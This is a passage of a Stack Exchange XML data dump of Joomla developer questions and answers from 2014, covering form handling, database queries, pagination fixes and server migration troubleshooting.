noreferrer&quot;&gt;http://yjsimplegrid.com/shortcodes/parse-page.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-09-03T22:53:08.987" Title="Is there an extension/script that could pull html pages as articles in to Joomla?" Tags="|cms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1015" PostTypeId="2" ParentId="1014" CreationDate="2014-05-26T13:24:10.057" Score="3" Body="&lt;p&gt;The simplest way to load articles from external sources is via &lt;strong&gt;RSS Feeds&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several proven extensions at JED that already implement a RSS Article Grabber: &lt;a href=&quot;http://extensions.joomla.org/search?q=rss+grabber&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/search?q=rss+grabber&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-05-26T13:24:10.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1016" PostTypeId="1" AcceptedAnswerId="1017" CreationDate="2014-05-26T13:49:09.177" Score="6" ViewCount="372" Body="&lt;p&gt;I want to place a &lt;strong&gt;custom html/php form&lt;/strong&gt; for my &lt;strong&gt;registered Joomla users&lt;/strong&gt; but I want it to be submitted by the user only once, i mean if a user has submitted the form , the next time he'll open that &lt;strong&gt;form page&lt;/strong&gt;, he should &lt;strong&gt;not see the form again?&lt;/strong&gt; Instead, he should see a &lt;strong&gt;custom message&lt;/strong&gt; (like You have already submitted the form or bla bla bla....) How to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-06-18T09:27:18.270" Title="One time form for Joomla Users?" Tags="|joomla-3.x|php|user|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1017" PostTypeId="2" ParentId="1016" CreationDate="2014-05-26T14:00:33.090" Score="3" Body="&lt;p&gt;When you say &quot;custom&quot;, I hope you mean that you are going to stick to Joomla methods and make this a module or component ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best way you can do this is by using some of the methods you have been already using. And by that I mean getting the user object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when a user submits the form, not only does it submit the data they have inputted, but it also submits their username, using &lt;code&gt;$user-&amp;gt;username&lt;/code&gt;. Moving forward, we now supposedly have their username stored in the database along with the data they submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now need to write a database query getting the username from the table and match it against the current logged in user. Here is a small example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('username'));&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__myform'));&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;if($result) {&#xA;    // display custom message&#xA;}&#xA;else {&#xA;    // display form&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think it would be an idea to get the form working first and then to start integrating the user check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-26T14:00:33.090" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1018" PostTypeId="2" ParentId="1016" CreationDate="2014-05-26T18:03:01.547" Score="2" Body="&lt;p&gt;I am not sure what extension you are using to generate the form. But if you have the possibility to change it to &quot;Chronoforms&quot; you can do this for this extension as suggested here:&#xA;&lt;a href=&quot;http://www.chronoengine.com/forums/posts/t9535/p9535/user-submit-only-once.html&quot; rel=&quot;nofollow&quot;&gt;http://www.chronoengine.com/forums/posts/t9535/p9535/user-submit-only-once.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Even if you do not use chronoforms, you can still use the underlying method as it uses standard functions and framework of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is exactly what you are looking for, but the catch is you have to use chronoforms, which by the way are the best free form extension for Joomla anyway, in my opinion. The support is excellent, well maintained. I use it for my site too.&lt;/p&gt;&#xA;" OwnerUserId="452" LastActivityDate="2014-05-26T18:03:01.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1019" PostTypeId="1" AcceptedAnswerId="1020" CreationDate="2014-05-26T21:46:03.107" Score="2" ViewCount="1209" Body="&lt;p&gt;There seems to be an issue with the K2 pagination in Joomla when using sh404SEF + T3 Framework!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The urls of the pages are not generated correctly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to Page 2 it still takes me to url mydomain.com/Page-1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion how to fix this pagination bug in T3. I am sure that the pagination is generated by T3, because when I change the frontend template the pagination works just fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="159" LastEditDate="2014-05-27T10:14:50.387" LastActivityDate="2021-02-12T15:34:03.263" Title="Joomla Pagination issue with K2 + sh404SEF + T3 Framework" Tags="|sh404sef|k2|t3-framework|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1020" PostTypeId="2" ParentId="1019" CreationDate="2014-05-26T21:46:03.107" Score="1" Body="&lt;p&gt;This is indeed a T3 bug! It doesn't generate right urls for the K2 category's pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, please follow this simple guide:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;plugins/system/t3/includes/joomla30&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit the pagination.php file&lt;/li&gt;&#xA;&lt;li&gt;Go to line &lt;strong&gt;688&lt;/strong&gt; and change it to: &lt;code&gt;$data-&amp;gt;start-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=0&amp;amp;limit='.$this-&amp;gt;limit);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to line &lt;strong&gt;690&lt;/strong&gt; and change it to: &lt;code&gt;data-&amp;gt;previous-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $page.'&amp;amp;limit='.$this-&amp;gt;limit);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to line &lt;strong&gt;703&lt;/strong&gt; and change it to: &lt;code&gt;$data-&amp;gt;next-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $next.'&amp;amp;limit='.$this-&amp;gt;limit);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to line &lt;strong&gt;705&lt;/strong&gt; and change it to: &lt;code&gt;$data-&amp;gt;end-&amp;gt;link = JRoute::_($params . '&amp;amp;' . $this-&amp;gt;prefix . 'limitstart=' . $end.'&amp;amp;limit='.$this-&amp;gt;limit);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;In one word: add the following (&lt;code&gt;&amp;amp;limit=$this-&amp;gt;limit&lt;/code&gt;) to the end of the above mentioned lines (without brackets)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After performing the steps described, please don't forget to delete the blog pages from sh404SEF URL Manager and to clear the Joomla cache!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="168" LastEditDate="2014-05-26T22:39:05.560" LastActivityDate="2014-05-26T22:39:05.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1021" PostTypeId="1" AcceptedAnswerId="1053" CreationDate="2014-05-26T21:52:01.910" Score="6" ViewCount="3473" Body="&lt;p&gt;I would like to use nginx as a reverse proxy in front of a Joomla site running on Apache. I would like nginx to handle the SSL connections and relay decrypted traffic through localhost  to Apache. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Joomla have specific support for this type of configuration, such that I can still have it control which pages should be served over SSL vs. unencrypted connections, or would I have to simply enable SSL across the board for this to work?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2014-06-27T23:24:16.290" Title="Reverse SSL Proxy support" Tags="|security|apache|nginx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1022" PostTypeId="2" ParentId="1016" CreationDate="2014-05-26T22:00:18.437" Score="0" Body="&lt;p&gt;Use B2J Contact to generate custom fields in a form. It's a &lt;a href=&quot;http://www.bang2joom.com/joomla-components/b2j-contact&quot; rel=&quot;nofollow&quot;&gt;free Joomla form creator&lt;/a&gt; component provided by Bang2Joom Team. Nice and easy backend! Friendly support! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just try it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download here: &lt;a href=&quot;http://www.bang2joom.com/joomla-components/b2j-contact&quot; rel=&quot;nofollow&quot;&gt;http://www.bang2joom.com/joomla-components/b2j-contact&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2014-05-26T22:00:18.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1024" PostTypeId="2" ParentId="984" CreationDate="2014-05-26T23:25:14.797" Score="1" Body="&lt;p&gt;Other extensions that might be worth a look are those in the &lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/seo-a-metadata/url-canonicalization-&quot; rel=&quot;nofollow&quot;&gt;URL-Canonicalization&lt;/a&gt; category, for example, Canonical.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-05-26T23:25:14.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1025" PostTypeId="1" CreationDate="2014-05-27T08:18:31.163" Score="1" ViewCount="827" Body="&lt;p&gt;I am trying to add a parameter to the chronoforms submit url. Currently it looks like: &lt;code&gt;?chronoform=contact&amp;amp;event=submit&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need it to look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;chronoform=contact&amp;amp;event=submit&amp;amp;scroll=5&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help Greatly Appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user404" LastEditorDisplayName="user404" LastEditDate="2014-05-27T10:05:04.663" LastActivityDate="2014-08-07T12:55:48.353" Title="Add a URL Param to Chronoforms5" Tags="|php|url|chronoforms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1026" PostTypeId="2" ParentId="997" CreationDate="2014-05-27T08:39:56.243" Score="1" Body="&lt;p&gt;assuming you are using joomla 3, you can use jquery for this functionality: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework'); // make sure jquery is loaded&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery.post('index.php?option=com_mycomponent&amp;amp;task=component.save', &#xA;jQuery( &quot;#yourformid&quot; ).serialize(), function(data, &#xA;statustxt){ jQuery('#resultdiv').html=data; })&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should return the result to an element . Docs for jQuery.post() is found here &lt;a href=&quot;http://api.jquery.com/jquery.post/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/jquery.post/&lt;/a&gt;. The post-functionality should add the data from your form as post-variables for joomla to read. To see all incoming post-variables in php write &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($_POST); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="360" LastActivityDate="2014-05-27T08:39:56.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1027" PostTypeId="1" AcceptedAnswerId="1028" CreationDate="2014-05-27T09:38:44.623" Score="2" ViewCount="2624" Body="&lt;p&gt;How can i insert data from a html form to a table in Joomla database.&lt;br&gt;&#xA;&lt;strong&gt;Sample code of the form&lt;/strong&gt;:&lt;br&gt;&#xA;&lt;code&gt;Name : &amp;lt;input type=&quot;textbox&quot; name=&quot;username&quot;&amp;gt;&#xA;Selection1 : &amp;lt;input type=&quot;checkbox&quot; name=&quot;choice1&quot; value=&quot;first&quot;&amp;gt;&#xA;Selection2 :&amp;lt;input type=&quot;checkbox&quot; name=&quot;choice2&quot; value=&quot;second&quot;&amp;gt;&#xA;Selection3: &amp;lt;input type=&quot;checkbox&quot; name=&quot;choice3&quot; value=&quot;third&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; action=&quot;save_to_joomla_database.php&quot;&amp;gt;&amp;lt;/form&amp;gt;&lt;/code&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the script i need to write in &lt;code&gt;save_to_joomla_database.php&lt;/code&gt; which will store the data in any specific table of the Joomla database?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="159" LastEditDate="2014-10-27T20:48:24.453" LastActivityDate="2014-10-27T20:48:24.453" Title="How to save checkbox values in a table?" Tags="|fix-my-code|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1028" PostTypeId="2" ParentId="1027" CreationDate="2014-05-27T09:49:09.087" Score="5" Body="&lt;p&gt;You will first need to get the values using JInput like so,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$username = $input-&amp;gt;get('username');&#xA;$choice1 = $input-&amp;gt;get('choice1');&#xA;$choice2 = $input-&amp;gt;get('choice2');&#xA;$choice3 = $input-&amp;gt;get('choice3');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then for your database query, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo(); &#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$columns = array('username', 'choice1', 'choice2', 'choice2');&#xA;$values = array($db-&amp;gt;quote($username), $db-&amp;gt;quote($choice1), $db-&amp;gt;quote($choice2), $db-&amp;gt;quote($choice3));&#xA;&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__table_name'))&#xA;      -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;      -&amp;gt;values(implode(',', $values));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will of course need to make some changes to the database query to suits your needs but this will get you started off&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="22" LastEditDate="2014-05-28T16:21:16.930" LastActivityDate="2014-05-28T16:21:16.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1029" PostTypeId="2" ParentId="997" CreationDate="2014-05-27T10:06:27.883" Score="1" Body="&lt;p&gt;I think you may want to try it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data  = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-27T10:06:27.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1030" PostTypeId="5" CreationDate="2014-05-27T10:21:49.957" Score="0" Body="" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-27T10:21:49.957" LastActivityDate="2014-05-27T10:21:49.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1031" PostTypeId="4" CreationDate="2014-05-27T10:21:49.957" Score="0" Body="T3 Framework for Joomla! is a template framework based on Bootstrap 3." OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-27T10:21:49.957" LastActivityDate="2014-05-27T10:21:49.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1032" PostTypeId="1" AcceptedAnswerId="1033" CreationDate="2014-05-27T11:39:53.200" Score="2" ViewCount="175" Body="&lt;p&gt;Can anyone point me to the documentation on how to use UnionAll in JDatabaseQuery?&#xA;Thanks,&#xA;Mike&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2014-05-27T14:29:40.330" Title="API for UnionAll in JDatabaseQuery" Tags="|joomla-3.x|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1033" PostTypeId="2" ParentId="1032" CreationDate="2014-05-27T11:54:25.407" Score="0" Body="&lt;p&gt;Always remember to look at the Joomla API should you not be able to find anything in the documentation. &lt;code&gt;UnionAll&lt;/code&gt; is mentioned here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_unionAll&quot; rel=&quot;nofollow&quot;&gt;http://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_unionAll&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-27T11:54:25.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1034" PostTypeId="2" ParentId="1032" CreationDate="2014-05-27T14:29:40.330" Score="2" Body="&lt;p&gt;And do not forget about Joomla! Docs :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Using_the_union_methods_in_database_queries&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Using_the_union_methods_in_database_queries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example from the Docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that you want to send the mail to all customers and all suppliers and that that the names and email addresses are stored in tables called, unsurprisingly, customers and suppliers, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This query will retrieve all the customer information that we need for the mailshot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select('name, email')&#xA;    -&amp;gt;from('customers')&#xA;    ;&#xA;$mailshot = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while this query will do the same for all suppliers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select('name, email')&#xA;    -&amp;gt;from('suppliers')&#xA;    ;&#xA;$mailshot = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can combine the results into a single query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select('name, email')&#xA;    -&amp;gt;from('customers')&#xA;    -&amp;gt;union($q2-&amp;gt;select('name , email')-&amp;gt;from('suppliers'))&#xA;    ;&#xA;$mailshot = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result set obtained from the union query will actually be a little different from running the individual queries separately because the union query will automatically eliminate duplicates. If you don't mind that the result set may contain duplicates (which mathematically speaking means it isn't a set) then using &lt;code&gt;unionAll&lt;/code&gt; instead of &lt;code&gt;union&lt;/code&gt; will improve performance. &lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-05-27T14:29:40.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1035" PostTypeId="1" AcceptedAnswerId="1036" CreationDate="2014-05-23T16:46:29.600" Score="1" ViewCount="11254" Body="&lt;p&gt;I'm facing an issue when I try to migrate a Joomla installation to a different server. Let me first of all say I have copied all files from the old server to the new one, and migrated the Joomla database to a different server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated configuration.php to reflect the changes in the MySQL server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When loading the site, it apparently works fine: connects to DB and allows all operations. However, when trying to access to the Joomla administration panel, and after successful login, an empty screen appears. There is no possible way to enter the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've configured the configuration.php file to enable error reporting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = 'maximum';&#xA;public $debug = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I've introduced the next line in the administrator/index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting(E_ALL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Despite of all this, no error appears in the Apache2 log (/var/log/apache2/error.log) nor in the Joomla logs (/var/www/logs/error.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried disabling manually in the database some extensions, and actually came up with the fact that disabling the extension 'Jomsocial Update' allows to enter the backend, although the Jomsocial administration site cannot be accessed (a blank page appears once again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, the weird thing is the fact of not getting any error at all in the logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the old and the new server have the same Apache version (2.2.22). However, the old server has PHP v5.4.6 whereas the new server has PHP v5.3.10. I've also tried installing PHP v5.4.28 from a non-official repository, but it also failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know what may be happening? Thanks a lot for your support.&lt;/p&gt;&#xA;" OwnerDisplayName="baldo" LastActivityDate="2016-11-20T15:57:01.993" Title="Joomla: Blank administrator backend after login" Tags="|administrator|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1036" PostTypeId="2" ParentId="1035" CreationDate="2014-05-24T00:53:06.613" Score="3" Body="&lt;p&gt;After working on this the whole day, I finally came up with the solution. It's just that php5-curl was not installed. As simple and stupid as it sounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what was happening most likely is that Jomsocial / Jomsocial Update plugin required curl to display their administration sites. I guess Jomsocial Update was executed everytime the admin went into the administrator panel, and that's why disabling it prevented from blank screen of death (whereas the Jomsocial admin site was not accessible anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, I'm confused about the way of coming up with the solution: this happened to me in other scenarios, but you usually find the solution because logs are quite explicit in printing out that curl_init() is not defined. How messed up can this be so that absolutely nothing was recorded in the logs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, actually pretty messed up. While writing these words, I had a feeling of what could be happening. Yes, curl_init() calls are preceded by the '@' operator, which silences out errors even when E_ALL logging is defined. I don't know whether this is common coding style but for what it respects to debugging, it just turns it all into a hell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that's the answer for anyone who may have the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards!&lt;/p&gt;&#xA;" OwnerDisplayName="baldo" LastActivityDate="2014-05-24T00:53:06.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1037" PostTypeId="1" AcceptedAnswerId="1038" CreationDate="2014-05-27T15:57:26.017" Score="0" ViewCount="535" Body="&lt;p&gt;&lt;strong&gt;What's wrong with this code? I'm getting a blank page for this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', __DIR__);&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;$profile = JUserHelper::getProfile($user-&amp;gt;id);&#xA;&#xA;if( $user-&amp;gt;username == 'THE_USER_1' )&#xA;{&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('username'));&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#table_name#'));&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $result = $db-&amp;gt;loadResult();&#xA;&#xA;if($result) { &#xA;   echo &quot;&amp;lt;p&amp;gt; You have already filled the form.&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;else {&#xA;    // continue to form page&#xA;}&#xA;elseif( $user-&amp;gt;username == 'THE_USER_2' )&#xA;{&#xA;    // some code &#xA;}&#xA;else&#xA;{&#xA;    echo &quot;&amp;lt;p&amp;gt; Sorry, you can't access this page.&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="383" LastEditorUserId="159" LastEditDate="2014-05-27T17:13:43.977" LastActivityDate="2014-05-28T19:30:51.150" Title="Blank page when executing a database query?" Tags="|php|database|fix-my-code|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1038" PostTypeId="2" ParentId="1037" CreationDate="2014-05-27T16:04:03.840" Score="1" Body="&lt;p&gt;Firstly, you are missing a closing brackets in your &lt;code&gt;if&lt;/code&gt; statement. Also, you are carrying on the database query having ended the previous line with a semi-colon. I don't know what you have also done when defining the database table, but you should replace &lt;code&gt;#table_name#&lt;/code&gt; with &lt;code&gt;#__table_name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy and paste the code below which includes the missing closing bracket, removal of additional semi-colons and correct table name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', __DIR__);&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;$profile = JUserHelper::getProfile($user-&amp;gt;id);&#xA;&#xA;if( $user-&amp;gt;username == 'THE_USER_1' )&#xA;{&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('username'))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__table_name'))&#xA;          -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = '. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $result = $db-&amp;gt;loadResult();&#xA;&#xA;    if($result) { &#xA;       echo &quot;&amp;lt;p&amp;gt; You have already filled the form.&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;elseif( $user-&amp;gt;username == 'THE_USER_2' )&#xA;{&#xA;    // some code &#xA;}&#xA;elseif( $user-&amp;gt;username !== 'THE_USER_1' || $user-&amp;gt;username !== 'THE_USER_2' )&#xA;{&#xA;    echo &quot;&amp;lt;p&amp;gt; Sorry, you can't access this page.&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;else &#xA;{&#xA;    echo &quot;display form&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-28T19:30:51.150" LastActivityDate="2014-05-28T19:30:51.150" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="1039" PostTypeId="1" AcceptedAnswerId="1040" CreationDate="2014-05-27T18:06:14.253" Score="1" ViewCount="1297" Body="&lt;p&gt;For this question I say &quot;offsets&quot; but I do not really mean timezones. What I am looking for is an offset of right &quot;now&quot; to 1 day, 1 week or 1 month and further in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/JFactory/getDate&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/JFactory/getDate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the documentation it does show a timezone offset that can be an integer, which makes me thing that will work, however passing a null or false value for the first seems like it could cause an issue. I could also pass a default date object, but that seems like its taking from the benefit of using the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I want to do is kind of like follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$now = JFactory::getDate();&#xA;$now-&amp;gt;minusOffset(24 HOURS);&#xA;$query-&amp;gt;where('created &amp;gt;= \'$now-&amp;gt;toMySQL()\'');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do this? Or is it best to convert a normal php date object into getDate? So far my searching has turned up nothing on it.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-27T19:59:53.587" Title="JFactory::getDate() time offsets" Tags="|development|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
